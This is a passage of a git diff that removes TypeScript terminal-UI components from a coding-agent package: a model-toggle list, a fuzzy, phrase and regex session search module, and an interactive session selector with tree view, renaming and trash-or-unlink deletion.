"^S save", - countText, - ]; - return this.isDirty - ? theme.fg("dim", ` ${parts.join(" · ")} `) + - theme.fg("warning", "(unsaved)") - : theme.fg("dim", ` ${parts.join(" · ")}`); - } - - private refresh(): void { - const query = this.searchInput.getValue(); - const items = this.buildItems(); - this.filteredItems = query - ? fuzzyFilter(items, query, (i) => `${i.model.id} ${i.model.provider}`) - : items; - this.selectedIndex = Math.min( - this.selectedIndex, - Math.max(0, this.filteredItems.length - 1), - ); - this.updateList(); - this.footerText.setText(this.getFooterText()); - } - - private updateList(): void { - this.listContainer.clear(); - - if (this.filteredItems.length === 0) { - this.listContainer.addChild( - new Text(theme.fg("muted", " No matching models"), 0, 0), - ); - return; - } - - const startIndex = Math.max( - 0, - Math.min( - this.selectedIndex - Math.floor(this.maxVisible / 2), - this.filteredItems.length - this.maxVisible, - ), - ); - const endIndex = Math.min( - startIndex + this.maxVisible, - this.filteredItems.length, - ); - const allEnabled = this.enabledIds === null; - - for (let i = startIndex; i < endIndex; i++) { - const item = this.filteredItems[i]!; - const isSelected = i === this.selectedIndex; - const prefix = isSelected ? theme.fg("accent", "→ ") : " "; - const modelText = isSelected - ? theme.fg("accent", item.model.id) - : item.model.id; - const providerBadge = theme.fg( - "muted", - ` [${providerDisplayName(item.model.provider)}]`, - ); - const status = allEnabled - ? "" - : item.enabled - ? theme.fg("success", " ✓") - : theme.fg("dim", " ✗"); - this.listContainer.addChild( - new Text(`${prefix}${modelText}${providerBadge}${status}`, 0, 0), - ); - } - - // Add scroll indicator if needed - if (startIndex > 0 || endIndex < this.filteredItems.length) { - this.listContainer.addChild( - new Text( - theme.fg( - "muted", - ` (${this.selectedIndex + 1}/${this.filteredItems.length})`, - ), - 0, - 0, - ), - ); - } - - if (this.filteredItems.length > 0) { - const selected = this.filteredItems[this.selectedIndex]; - this.listContainer.addChild(new Spacer(1)); - this.listContainer.addChild( - new Text( - theme.fg("muted", ` Model Name: ${selected.model.name}`), - 0, - 0, - ), - ); - } - } - - handleInput(data: string): void { - const kb = getEditorKeybindings(); - - // Navigation - if (kb.matches(data, "selectUp")) { - if (this.filteredItems.length === 0) return; - this.selectedIndex = - this.selectedIndex === 0 - ? this.filteredItems.length - 1 - : this.selectedIndex - 1; - this.updateList(); - return; - } - if (kb.matches(data, "selectDown")) { - if (this.filteredItems.length === 0) return; - this.selectedIndex = - this.selectedIndex === this.filteredItems.length - 1 - ? 0 - : this.selectedIndex + 1; - this.updateList(); - return; - } - - // Alt+Up/Down - Reorder enabled models - if (matchesKey(data, Key.alt("up")) || matchesKey(data, Key.alt("down"))) { - const item = this.filteredItems[this.selectedIndex]; - if (item && isEnabled(this.enabledIds, item.fullId)) { - const delta = matchesKey(data, Key.alt("up")) ? -1 : 1; - const enabledList = this.enabledIds ?? this.allIds; - const currentIndex = enabledList.indexOf(item.fullId); - const newIndex = currentIndex + delta; - // Only move if within bounds - if (newIndex >= 0 && newIndex < enabledList.length) { - this.enabledIds = move( - this.enabledIds, - this.allIds, - item.fullId, - delta, - ); - this.isDirty = true; - this.selectedIndex += delta; - this.refresh(); - } - } - return; - } - - // Toggle on Enter - if (matchesKey(data, Key.enter)) { - const item = this.filteredItems[this.selectedIndex]; - if (item) { - const wasAllEnabled = this.enabledIds === null; - this.enabledIds = toggle(this.enabledIds, item.fullId); - this.isDirty = true; - if (wasAllEnabled) this.callbacks.onClearAll(); - this.callbacks.onModelToggle( - item.fullId, - isEnabled(this.enabledIds, item.fullId), - ); - this.refresh(); - } - return; - } - - // Ctrl+A - Enable all (filtered if search active, otherwise all) - if (matchesKey(data, Key.ctrl("a"))) { - const targetIds = this.searchInput.getValue() - ? this.filteredItems.map((i) => i.fullId) - : undefined; - this.enabledIds = enableAll(this.enabledIds, this.allIds, targetIds); - this.isDirty = true; - this.callbacks.onEnableAll(targetIds ?? this.allIds); - this.refresh(); - return; - } - - // Ctrl+X - Clear all (filtered if search active, otherwise all) - if (matchesKey(data, Key.ctrl("x"))) { - const targetIds = this.searchInput.getValue() - ? this.filteredItems.map((i) => i.fullId) - : undefined; - this.enabledIds = clearAll(this.enabledIds, this.allIds, targetIds); - this.isDirty = true; - this.callbacks.onClearAll(); - this.refresh(); - return; - } - - // Ctrl+P - Toggle provider of current item - if (matchesKey(data, Key.ctrl("p"))) { - const item = this.filteredItems[this.selectedIndex]; - if (item) { - const provider = item.model.provider; - const providerIds = this.allIds.filter( - (id) => this.modelsById.get(id)!.provider === provider, - ); - const allEnabled = providerIds.every((id) => - isEnabled(this.enabledIds, id), - ); - this.enabledIds = allEnabled - ? clearAll(this.enabledIds, this.allIds, providerIds) - : enableAll(this.enabledIds, this.allIds, providerIds); - this.isDirty = true; - this.callbacks.onToggleProvider(provider, providerIds, !allEnabled); - this.refresh(); - } - return; - } - - // Ctrl+S - Save/persist to settings - if (matchesKey(data, Key.ctrl("s"))) { - this.callbacks.onPersist(this.enabledIds ?? [...this.allIds]); - this.isDirty = false; - this.footerText.setText(this.getFooterText()); - return; - } - - // Ctrl+C - always cancel immediately - if (matchesKey(data, Key.ctrl("c"))) { - this.callbacks.onCancel(); - return; - } - - // Escape - cancel - if (matchesKey(data, Key.escape)) { - this.callbacks.onCancel(); - return; - } - - // Pass everything else to search input - this.searchInput.handleInput(data); - this.refresh(); - } - - getSearchInput(): Input { - return this.searchInput; - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/session-selector-search.ts b/packages/pi-coding-agent/src/modes/interactive/components/session-selector-search.ts deleted file mode 100644 index 17b07d601..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/session-selector-search.ts +++ /dev/null @@ -1,199 +0,0 @@ -import { fuzzyMatch } from "@singularity-forge/pi-tui"; -import type { SessionInfo } from "../../../core/session-manager.js"; - -export type SortMode = "threaded" | "recent" | "relevance"; - -export type NameFilter = "all" | "named"; - -export interface ParsedSearchQuery { - mode: "tokens" | "regex"; - tokens: { kind: "fuzzy" | "phrase"; value: string }[]; - regex: RegExp | null; - /** If set, parsing failed and we should treat query as non-matching. */ - error?: string; -} - -export interface MatchResult { - matches: boolean; - /** Lower is better; only meaningful when matches === true */ - score: number; -} - -function normalizeWhitespaceLower(text: string): string { - return text.toLowerCase().replace(/\s+/g, " ").trim(); -} - -function getSessionSearchText(session: SessionInfo): string { - return `${session.id} ${session.name ?? ""} ${session.allMessagesText} ${session.cwd}`; -} - -export function hasSessionName(session: SessionInfo): boolean { - return Boolean(session.name?.trim()); -} - -function matchesNameFilter(session: SessionInfo, filter: NameFilter): boolean { - if (filter === "all") return true; - return hasSessionName(session); -} - -function parseSearchQuery(query: string): ParsedSearchQuery { - const trimmed = query.trim(); - if (!trimmed) { - return { mode: "tokens", tokens: [], regex: null }; - } - - // Regex mode: re: - if (trimmed.startsWith("re:")) { - const pattern = trimmed.slice(3).trim(); - if (!pattern) { - return { mode: "regex", tokens: [], regex: null, error: "Empty regex" }; - } - try { - return { mode: "regex", tokens: [], regex: new RegExp(pattern, "i") }; - } catch (err) { - const msg = err instanceof Error ? err.message : String(err); - return { mode: "regex", tokens: [], regex: null, error: msg }; - } - } - - // Token mode with quote support. - // Example: foo "node cve" bar - const tokens: { kind: "fuzzy" | "phrase"; value: string }[] = []; - let buf = ""; - let inQuote = false; - let hadUnclosedQuote = false; - - const flush = (kind: "fuzzy" | "phrase"): void => { - const v = buf.trim(); - buf = ""; - if (!v) return; - tokens.push({ kind, value: v }); - }; - - for (let i = 0; i < trimmed.length; i++) { - const ch = trimmed[i]!; - if (ch === '"') { - if (inQuote) { - flush("phrase"); - inQuote = false; - } else { - flush("fuzzy"); - inQuote = true; - } - continue; - } - - if (!inQuote && /\s/.test(ch)) { - flush("fuzzy"); - continue; - } - - buf += ch; - } - - if (inQuote) { - hadUnclosedQuote = true; - } - - // If quotes were unbalanced, fall back to plain whitespace tokenization. - if (hadUnclosedQuote) { - return { - mode: "tokens", - tokens: trimmed - .split(/\s+/) - .map((t) => t.trim()) - .filter((t) => t.length > 0) - .map((t) => ({ kind: "fuzzy" as const, value: t })), - regex: null, - }; - } - - flush(inQuote ? "phrase" : "fuzzy"); - - return { mode: "tokens", tokens, regex: null }; -} - -function matchSession( - session: SessionInfo, - parsed: ParsedSearchQuery, -): MatchResult { - const text = getSessionSearchText(session); - - if (parsed.mode === "regex") { - if (!parsed.regex) { - return { matches: false, score: 0 }; - } - const idx = text.search(parsed.regex); - if (idx < 0) return { matches: false, score: 0 }; - return { matches: true, score: idx * 0.1 }; - } - - if (parsed.tokens.length === 0) { - return { matches: true, score: 0 }; - } - - let totalScore = 0; - let normalizedText: string | null = null; - - for (const token of parsed.tokens) { - if (token.kind === "phrase") { - if (normalizedText === null) { - normalizedText = normalizeWhitespaceLower(text); - } - const phrase = normalizeWhitespaceLower(token.value); - if (!phrase) continue; - const idx = normalizedText.indexOf(phrase); - if (idx < 0) return { matches: false, score: 0 }; - totalScore += idx * 0.1; - continue; - } - - const m = fuzzyMatch(token.value, text); - if (!m.matches) return { matches: false, score: 0 }; - totalScore += m.score; - } - - return { matches: true, score: totalScore }; -} - -export function filterAndSortSessions( - sessions: SessionInfo[], - query: string, - sortMode: SortMode, - nameFilter: NameFilter = "all", -): SessionInfo[] { - const nameFiltered = - nameFilter === "all" - ? sessions - : sessions.filter((session) => matchesNameFilter(session, nameFilter)); - const trimmed = query.trim(); - if (!trimmed) return nameFiltered; - - const parsed = parseSearchQuery(query); - if (parsed.error) return []; - - // Recent mode: filter only, keep incoming order. - if (sortMode === "recent") { - const filtered: SessionInfo[] = []; - for (const s of nameFiltered) { - const res = matchSession(s, parsed); - if (res.matches) filtered.push(s); - } - return filtered; - } - - // Relevance mode: sort by score, tie-break by modified desc. - const scored: { session: SessionInfo; score: number }[] = []; - for (const s of nameFiltered) { - const res = matchSession(s, parsed); - if (!res.matches) continue; - scored.push({ session: s, score: res.score }); - } - - scored.sort((a, b) => { - if (a.score !== b.score) return a.score - b.score; - return b.session.modified.getTime() - a.session.modified.getTime(); - }); - - return scored.map((r) => r.session); -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/session-selector.ts b/packages/pi-coding-agent/src/modes/interactive/components/session-selector.ts deleted file mode 100644 index 18ceb964c..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/session-selector.ts +++ /dev/null @@ -1,1148 +0,0 @@ -import { spawnSync } from "node:child_process"; -import { existsSync } from "node:fs"; -import { unlink } from "node:fs/promises"; -import { - type Component, - Container, - type Focusable, - getEditorKeybindings, - Input, - matchesKey, - Spacer, - Text, - truncateToWidth, - visibleWidth, -} from "@singularity-forge/pi-tui"; -import { KeybindingsManager } from "../../../core/keybindings.js"; -import type { - SessionInfo, - SessionListProgress, -} from "../../../core/session-manager.js"; -import { theme } from "../theme/theme.js"; -import { shortenPath } from "../utils/shorten-path.js"; -import { DynamicBorder } from "./dynamic-border.js"; -import { appKey, appKeyHint, keyHint } from "./keybinding-hints.js"; -import { - filterAndSortSessions, - hasSessionName, - type NameFilter, - type SortMode, -} from "./session-selector-search.js"; -import { - applyRowHighlight, - buildTreePrefix, - computeScrollWindow, - renderCursor, -} from "./tree-render-utils.js"; - -type SessionScope = "current" | "all"; - -function formatSessionDate(date: Date): string { - const now = new Date(); - const diffMs = now.getTime() - date.getTime(); - const diffMins = Math.floor(diffMs / 60000); - const diffHours = Math.floor(diffMs / 3600000); - const diffDays = Math.floor(diffMs / 86400000); - - if (diffMins < 1) return "now"; - if (diffMins < 60) return `${diffMins}m`; - if (diffHours < 24) return `${diffHours}h`; - if (diffDays < 7) return `${diffDays}d`; - if (diffDays < 30) return `${Math.floor(diffDays / 7)}w`; - if (diffDays < 365) return `${Math.floor(diffDays / 30)}mo`; - return `${Math.floor(diffDays / 365)}y`; -} - -class SessionSelectorHeader implements Component { - private scope: SessionScope; - private sortMode: SortMode; - private nameFilter: NameFilter; - private keybindings: KeybindingsManager; - private requestRender: () => void; - private loading = false; - private loadProgress: { loaded: number; total: number } | null = null; - private showPath = false; - private confirmingDeletePath: string | null = null; - private statusMessage: { type: "info" | "error"; message: string } | null = - null; - private statusTimeout: ReturnType | null = null; - private showRenameHint = false; - - constructor( - scope: SessionScope, - sortMode: SortMode, - nameFilter: NameFilter, - keybindings: KeybindingsManager, - requestRender: () => void, - ) { - this.scope = scope; - this.sortMode = sortMode; - this.nameFilter = nameFilter; - this.keybindings = keybindings; - this.requestRender = requestRender; - } - - setScope(scope: SessionScope): void { - this.scope = scope; - } - - setSortMode(sortMode: SortMode): void { - this.sortMode = sortMode; - } - - setNameFilter(nameFilter: NameFilter): void { - this.nameFilter = nameFilter; - } - - setLoading(loading: boolean): void { - this.loading = loading; - // Progress is scoped to the current load; clear whenever the loading state is set - this.loadProgress = null; - } - - setProgress(loaded: number, total: number): void { - this.loadProgress = { loaded, total }; - } - - setShowPath(showPath: boolean): void { - this.showPath = showPath; - } - - setShowRenameHint(show: boolean): void { - this.showRenameHint = show; - } - - setConfirmingDeletePath(path: string | null): void { - this.confirmingDeletePath = path; - } - - private clearStatusTimeout(): void { - if (!this.statusTimeout) return; - clearTimeout(this.statusTimeout); - this.statusTimeout = null; - } - - setStatusMessage( - msg: { type: "info" | "error"; message: string } | null, - autoHideMs?: number, - ): void { - this.clearStatusTimeout(); - this.statusMessage = msg; - if (!msg || !autoHideMs) return; - - this.statusTimeout = setTimeout(() => { - this.statusMessage = null; - this.statusTimeout = null; - this.requestRender(); - }, autoHideMs); - } - - invalidate(): void {} - - render(width: number): string[] { - const title = - this.scope === "current" - ? "Resume Session (Current Folder)" - : "Resume Session (All)"; - const leftText = theme.bold(title); - - const sortLabel = - this.sortMode === "threaded" - ? "Threaded" - : this.sortMode === "recent" - ? "Recent" - : "Fuzzy"; - const sortText = - theme.fg("muted", "Sort: ") + theme.fg("accent", sortLabel); - - const nameLabel = this.nameFilter === "all" ? "All" : "Named"; - const nameText = - theme.fg("muted", "Name: ") + theme.fg("accent", nameLabel); - - let scopeText: string; - if (this.loading) { - const progressText = this.loadProgress - ? `${this.loadProgress.loaded}/${this.loadProgress.total}` - : "..."; - scopeText = `${theme.fg("muted", "○ Current Folder | ")}${theme.fg("accent", `Loading ${progressText}`)}`; - } else if (this.scope === "current") { - scopeText = `${theme.fg("accent", "◉ Current Folder")}${theme.fg("muted", " | ○ All")}`; - } else { - scopeText = `${theme.fg("muted", "○ Current Folder | ")}${theme.fg("accent", "◉ All")}`; - } - - const rightText = truncateToWidth( - `${scopeText} ${nameText} ${sortText}`, - width, - "", - ); - const availableLeft = Math.max(0, width - visibleWidth(rightText) - 1); - const left = truncateToWidth(leftText, availableLeft, ""); - const spacing = Math.max( - 0, - width - visibleWidth(left) - visibleWidth(rightText), - ); - - // Build hint lines - changes based on state (all branches truncate to width) - let hintLine1: string; - let hintLine2: string; - if (this.confirmingDeletePath !== null) { - const confirmHint = - "Delete session? [Enter] confirm · [Esc/Ctrl+C] cancel"; - hintLine1 = theme.fg("error", truncateToWidth(confirmHint, width, "…")); - hintLine2 = ""; - } else if (this.statusMessage) { - const color = this.statusMessage.type === "error" ? "error" : "accent"; - hintLine1 = theme.fg( - color, - truncateToWidth(this.statusMessage.message, width, "…"), - ); - hintLine2 = ""; - } else { - const pathState = this.showPath ? "(on)" : "(off)"; - const sep = theme.fg("muted", " · "); - const hint1 = - keyHint("tab", "scope") + - sep + - theme.fg("muted", 're: regex · "phrase" exact'); - const hint2Parts = [ - keyHint("toggleSessionSort", "sort"), - appKeyHint(this.keybindings, "toggleSessionNamedFilter", "named"), - keyHint("deleteSession", "delete"), - keyHint("toggleSessionPath", `path ${pathState}`), - ]; - if (this.showRenameHint) { - hint2Parts.push(keyHint("renameSession", "rename")); - } - const hint2 = hint2Parts.join(sep); - hintLine1 = truncateToWidth(hint1, width, "…"); - hintLine2 = truncateToWidth(hint2, width, "…"); - } - - return [`${left}${" ".repeat(spacing)}${rightText}`, hintLine1, hintLine2]; - } -} - -/** A session tree node for hierarchical display */ -interface SessionTreeNode { - session: SessionInfo; - children: SessionTreeNode[]; -} - -/** Flattened node for display with tree structure info */ -interface FlatSessionNode { - session: SessionInfo; - depth: number; - isLast: boolean; - /** For each ancestor level, whether there are more siblings after it */ - ancestorContinues: boolean[]; -} - -/** - * Build a tree structure from sessions based on parentSessionPath. - * Returns root nodes sorted by modified date (descending). - */ -function buildSessionTree(sessions: SessionInfo[]): SessionTreeNode[] { - const byPath = new Map(); - - for (const session of sessions) { - byPath.set(session.path, { session, children: [] }); - } - - const roots: SessionTreeNode[] = []; - - for (const session of sessions) { - const node = byPath.get(session.path)!; - const parentPath = session.parentSessionPath; - - if (parentPath && byPath.has(parentPath)) { - byPath.get(parentPath)!.children.push(node); - } else { - roots.push(node); - } - } - - // Sort children and roots by modified date (descending) - const sortNodes = (nodes: SessionTreeNode[]): void => { - nodes.sort( - (a, b) => b.session.modified.getTime() - a.session.modified.getTime(), - ); - for (const node of nodes) { - sortNodes(node.children); - } - }; - sortNodes(roots); - - return roots; -} - -/** - * Flatten tree into display list with tree structure metadata. - */ -function flattenSessionTree(roots: SessionTreeNode[]): FlatSessionNode[] { - const result: FlatSessionNode[] = []; - - const walk = ( - node: SessionTreeNode, - depth: number, - ancestorContinues: boolean[], - isLast: boolean, - ): void => { - result.push({ session: node.session, depth, isLast, ancestorContinues }); - - for (let i = 0; i < node.children.length; i++) { - const childIsLast = i === node.children.length - 1; - // Only show continuation line for non-root ancestors - const continues = depth > 0 ? !isLast : false; - walk( - node.children[i]!, - depth + 1, - [...ancestorContinues, continues], - childIsLast, - ); - } - }; - - for (let i = 0; i < roots.length; i++) { - walk(roots[i]!, 0, [], i === roots.length - 1); - } - - return result; -} - -/** - * Custom session list component with multi-line items and search - */ -class SessionList implements Component, Focusable { - public getSelectedSessionPath(): string | undefined { - const selected = this.filteredSessions[this.selectedIndex]; - return selected?.session.path; - } - private allSessions: SessionInfo[] = []; - private filteredSessions: FlatSessionNode[] = []; - private selectedIndex: number = 0; - private searchInput: Input; - private showCwd = false; - private sortMode: SortMode = "threaded"; - private nameFilter: NameFilter = "all"; - private keybindings: KeybindingsManager; - private showPath = false; - private confirmingDeletePath: string | null = null; - private currentSessionFilePath?: string; - public onSelect?: (sessionPath: string) => void; - public onCancel?: () => void; - public onExit: () => void = () => {}; - public onToggleScope?: () => void; - public onToggleSort?: () => void; - public onToggleNameFilter?: () => void; - public onTogglePath?: (showPath: boolean) => void; - public onDeleteConfirmationChange?: (path: string | null) => void; - public onDeleteSession?: (sessionPath: string) => Promise; - public onRenameSession?: (sessionPath: string) => void; - public onError?: (message: string) => void; - private maxVisible: number = 10; // Max sessions visible (one line each) - - // Focusable implementation - propagate to searchInput for IME cursor positioning - private _focused = false; - get focused(): boolean { - return this._focused; - } - set focused(value: boolean) { - this._focused = value; - this.searchInput.focused = value; - } - - constructor( - sessions: SessionInfo[], - showCwd: boolean, - sortMode: SortMode, - nameFilter: NameFilter, - keybindings: KeybindingsManager, - currentSessionFilePath?: string, - ) { - this.allSessions = sessions; - this.filteredSessions = []; - this.searchInput = new Input(); - this.showCwd = showCwd; - this.sortMode = sortMode; - this.nameFilter = nameFilter; - this.keybindings = keybindings; - this.currentSessionFilePath = currentSessionFilePath; - this.filterSessions(""); - - // Handle Enter in search input - select current item - this.searchInput.onSubmit = () => { - if (this.filteredSessions[this.selectedIndex]) { - const selected = this.filteredSessions[this.selectedIndex]; - if (this.onSelect) { - this.onSelect(selected.session.path); - } - } - }; - } - - setSortMode(sortMode: SortMode): void { - this.sortMode = sortMode; - this.filterSessions(this.searchInput.getValue()); - } - - setNameFilter(nameFilter: NameFilter): void { - this.nameFilter = nameFilter; - this.filterSessions(this.searchInput.getValue()); - } - - setSessions(sessions: SessionInfo[], showCwd: boolean): void { - this.allSessions = sessions; - this.showCwd = showCwd; - this.filterSessions(this.searchInput.getValue()); - } - - private filterSessions(query: string): void { - const trimmed = query.trim(); - const nameFiltered = - this.nameFilter === "all" - ? this.allSessions - : this.allSessions.filter((session) => hasSessionName(session)); - - if (this.sortMode === "threaded" && !trimmed) { - // Threaded mode without search: show tree structure - const roots = buildSessionTree(nameFiltered); - this.filteredSessions = flattenSessionTree(roots); - } else { - // Other modes or with search: flat list - const filtered = filterAndSortSessions( - nameFiltered, - query, - this.sortMode, - "all", - ); - this.filteredSessions = filtered.map((session) => ({ - session, - depth: 0, - isLast: true, - ancestorContinues: [], - })); - } - this.selectedIndex = Math.min( - this.selectedIndex, - Math.max(0, this.filteredSessions.length - 1), - ); - } - - private setConfirmingDeletePath(path: string | null): void { - this.confirmingDeletePath = path; - this.onDeleteConfirmationChange?.(path); - } - - private startDeleteConfirmationForSelectedSession(): void { - const selected = this.filteredSessions[this.selectedIndex]; - if (!selected) return; - - // Prevent deleting current session - if ( - this.currentSessionFilePath && - selected.session.path === this.currentSessionFilePath - ) { - this.onError?.("Cannot delete the currently active session"); - return; - } - - this.setConfirmingDeletePath(selected.session.path); - } - - invalidate(): void {} - - render(width: number): string[] { - const lines: string[] = []; - - // Render search input - lines.push(...this.searchInput.render(width)); - lines.push(""); // Blank line after search - - if (this.filteredSessions.length === 0) { - let emptyMessage: string; - if (this.nameFilter === "named") { - const toggleKey = appKey(this.keybindings, "toggleSessionNamedFilter"); - if (this.showCwd) { - emptyMessage = ` No named sessions found. Press ${toggleKey} to show all.`; - } else { - emptyMessage = ` No named sessions in current folder. Press ${toggleKey} to show all, or Tab to view all.`; - } - } else if (this.showCwd) { - // "All" scope - no sessions anywhere that match filter - emptyMessage = " No sessions found"; - } else { - // "Current folder" scope - hint to try "all" - emptyMessage = - " No sessions in current folder. Press Tab to view all."; - } - lines.push(theme.fg("muted", truncateToWidth(emptyMessage, width, "…"))); - return lines; - } - - // Calculate visible range with scrolling - const { startIndex, endIndex } = computeScrollWindow( - this.selectedIndex, - this.filteredSessions.length, - this.maxVisible, - ); - - // Render visible sessions (one line each with tree structure) - for (let i = startIndex; i < endIndex; i++) { - const node = this.filteredSessions[i]!; - const session = node.session; - const isSelected = i === this.selectedIndex; - const isConfirmingDelete = session.path === this.confirmingDeletePath; - const isCurrent = this.currentSessionFilePath === session.path; - - // Build tree prefix - const prefix = this.buildNodeTreePrefix(node); - - // Session display text (name or first message) - const hasName = !!session.name; - const displayText = session.name ?? session.firstMessage; - const normalizedMessage = displayText - .replace(/[\x00-\x1f\x7f]/g, " ") - .trim(); - - // Right side: message count and age - const age = formatSessionDate(session.modified); - const msgCount = String(session.messageCount); - let rightPart = `${msgCount} ${age}`; - if (this.showCwd && session.cwd) { - rightPart = `${shortenPath(session.cwd)} ${rightPart}`; - } - if (this.showPath) { - rightPart = `${shortenPath(session.path)} ${rightPart}`; - } - - // Cursor - const cursor = renderCursor(isSelected); - - // Calculate available width for message - const prefixWidth = visibleWidth(prefix); - const rightWidth = visibleWidth(rightPart) + 2; // +2 for spacing - const availableForMsg = width - 2 - prefixWidth - rightWidth; // -2 for cursor - - const truncatedMsg = truncateToWidth( - normalizedMessage, - Math.max(10, availableForMsg), - "…", - ); - - // Style message - let messageColor: "error" | "warning" | "accent" | null = null; - if (isConfirmingDelete) { - messageColor = "error"; - } else if (isCurrent) { - messageColor = "accent"; - } else if (hasName) { - messageColor = "warning"; - } - let styledMsg = messageColor - ? theme.fg(messageColor, truncatedMsg) - : truncatedMsg; - if (isSelected) { - styledMsg = theme.bold(styledMsg); - } - - // Build line - const leftPart = cursor + theme.fg("dim", prefix) + styledMsg; - const leftWidth = visibleWidth(leftPart); - const spacing = Math.max(1, width - leftWidth - visibleWidth(rightPart)); - const styledRight = theme.fg( - isConfirmingDelete ? "error" : "dim", - rightPart, - ); - - const line = leftPart + " ".repeat(spacing) + styledRight; - lines.push(applyRowHighlight(line, isSelected, width)); - } - - // Add scroll indicator if needed - if (startIndex > 0 || endIndex < this.filteredSessions.length) { - const scrollText = ` (${this.selectedIndex + 1}/${this.filteredSessions.length})`; - const scrollInfo = theme.fg( - "muted", - truncateToWidth(scrollText, width, ""), - ); - lines.push(scrollInfo); - } - - return lines; - } - - private buildNodeTreePrefix(node: FlatSessionNode): string { - return buildTreePrefix(node.ancestorContinues, node.isLast, node.depth); - } - - handleInput(keyData: string): void { - const kb = getEditorKeybindings(); - - // Handle delete confirmation state first - intercept all keys - if (this.confirmingDeletePath !== null) { - if (kb.matches(keyData, "selectConfirm")) { - const pathToDelete = this.confirmingDeletePath; - this.setConfirmingDeletePath(null); - void this.onDeleteSession?.(pathToDelete); - return; - } - // Allow both Escape and Ctrl+C to cancel (consistent with pi UX) - if ( - kb.matches(keyData, "selectCancel") || - matchesKey(keyData, "ctrl+c") - ) { - this.setConfirmingDeletePath(null); - return; - } - // Ignore all other keys while confirming - return; - } - - if (kb.matches(keyData, "tab")) { - if (this.onToggleScope) { - this.onToggleScope(); - } - return; - } - - if (kb.matches(keyData, "toggleSessionSort")) { - this.onToggleSort?.(); - return; - } - - if (this.keybindings.matches(keyData, "toggleSessionNamedFilter")) { - this.onToggleNameFilter?.(); - return; - } - - // Ctrl+P: toggle path display - if (kb.matches(keyData, "toggleSessionPath")) { - this.showPath = !this.showPath; - this.onTogglePath?.(this.showPath); - return; - } - - // Ctrl+D: initiate delete confirmation (useful on terminals that don't distinguish Ctrl+Backspace from Backspace) - if (kb.matches(keyData, "deleteSession")) { - this.startDeleteConfirmationForSelectedSession(); - return; - } - - // Ctrl+R: rename selected session - if (matchesKey(keyData, "ctrl+r")) { - const selected = this.filteredSessions[this.selectedIndex]; - if (selected) { - this.onRenameSession?.(selected.session.path); - } - return; - } - - // Ctrl+Backspace: non-invasive convenience alias for delete - // Only triggers deletion when the query is empty; otherwise it is forwarded to the input - if (kb.matches(keyData, "deleteSessionNoninvasive")) { - if (this.searchInput.getValue().length > 0) { - this.searchInput.handleInput(keyData); - this.filterSessions(this.searchInput.getValue()); - return; - } - - this.startDeleteConfirmationForSelectedSession(); - return; - } - - // Up arrow (wrap) - if (kb.matches(keyData, "selectUp")) { - this.selectedIndex = - this.selectedIndex === 0 - ? this.filteredSessions.length - 1 - : this.selectedIndex - 1; - } - // Down arrow (wrap) - else if (kb.matches(keyData, "selectDown")) { - this.selectedIndex = - this.selectedIndex === this.filteredSessions.length - 1 - ? 0 - : this.selectedIndex + 1; - } - // Page up - jump up by maxVisible items - else if (kb.matches(keyData, "selectPageUp")) { - this.selectedIndex = Math.max(0, this.selectedIndex - this.maxVisible); - } - // Page down - jump down by maxVisible items - else if (kb.matches(keyData, "selectPageDown")) { - this.selectedIndex = Math.min( - this.filteredSessions.length - 1, - this.selectedIndex + this.maxVisible, - ); - } - // Enter - else if (kb.matches(keyData, "selectConfirm")) { - const selected = this.filteredSessions[this.selectedIndex]; - if (selected && this.onSelect) { - this.onSelect(selected.session.path); - } - } - // Escape - cancel - else if (kb.matches(keyData, "selectCancel")) { - if (this.onCancel) { - this.onCancel(); - } - } - // Pass everything else to search input - else { - this.searchInput.handleInput(keyData); - this.filterSessions(this.searchInput.getValue()); - } - } -} - -type SessionsLoader = ( - onProgress?: SessionListProgress, -) => Promise; - -/** - * Delete a session file, trying the `trash` CLI first, then falling back to unlink - */ -async function deleteSessionFile( - sessionPath: string, -): Promise<{ ok: boolean; method: "trash" | "unlink"; error?: string }> { - // Try `trash` first (if installed) - const trashArgs = sessionPath.startsWith("-") - ? ["--", sessionPath] - : [sessionPath]; - const trashResult = spawnSync("trash", trashArgs, { encoding: "utf-8" }); - - const getTrashErrorHint = (): string | null => { - const parts: string[] = []; - if (trashResult.error) { - parts.push(trashResult.error.message); - } - const stderr = trashResult.stderr?.trim(); - if (stderr) { - parts.push(stderr.split("\n")[0] ?? stderr); - } - if (parts.length === 0) return null; - return `trash: ${parts.join(" · ").slice(0, 200)}`; - }; - - // If trash reports success, or the file is gone afterwards, treat it as successful - if (trashResult.status === 0 || !existsSync(sessionPath)) { - return { ok: true, method: "trash" }; - } - - // Fallback to permanent deletion - try { - await unlink(sessionPath); - return { ok: true, method: "unlink" }; - } catch (err) { - const unlinkError = err instanceof Error ? err.message : String(err); - const trashErrorHint = getTrashErrorHint(); - const error = trashErrorHint - ? `${unlinkError} (${trashErrorHint})` - : unlinkError; - return { ok: false, method: "unlink", error }; - } -} - -/** - * Component that renders a session selector - */ -export class SessionSelectorComponent extends Container implements Focusable { - handleInput(data: string): void { - if (this.mode === "rename") { - const kb = getEditorKeybindings(); - if (kb.matches(data, "selectCancel") || matchesKey(data, "ctrl+c")) { - this.exitRenameMode(); - return; - } - this.renameInput.handleInput(data); - return; - } - - this.sessionList.handleInput(data); - } - - private canRename = true; - private sessionList: SessionList; - private header: SessionSelectorHeader; - private keybindings: KeybindingsManager; - private scope: SessionScope = "current"; - private sortMode: SortMode = "threaded"; - private nameFilter: NameFilter = "all"; - private currentSessions: SessionInfo[] | null = null; - private allSessions: SessionInfo[] | null = null; - private currentSessionsLoader: SessionsLoader; - private allSessionsLoader: SessionsLoader; - private onCancel: () => void; - private requestRender: () => void; - private renameSession?: ( - sessionPath: string, - currentName: string | undefined, - ) => Promise; - private currentLoading = false; - private allLoading = false; - private allLoadSeq = 0; - - private mode: "list" | "rename" = "list"; - private renameInput = new Input(); - private renameTargetPath: string | null = null; - - // Focusable implementation - propagate to sessionList for IME cursor positioning - private _focused = false; - get focused(): boolean { - return this._focused; - } - set focused(value: boolean) { - this._focused = value; - this.sessionList.focused = value; - this.renameInput.focused = value; - if (value && this.mode === "rename") { - this.renameInput.focused = true; - } - } - - private buildBaseLayout( - content: Component, - options?: { showHeader?: boolean }, - ): void { - this.clear(); - this.addChild(new Spacer(1)); - this.addChild(new DynamicBorder((s) => theme.fg("accent", s))); - this.addChild(new Spacer(1)); - if (options?.showHeader ?? true) { - this.addChild(this.header); - this.addChild(new 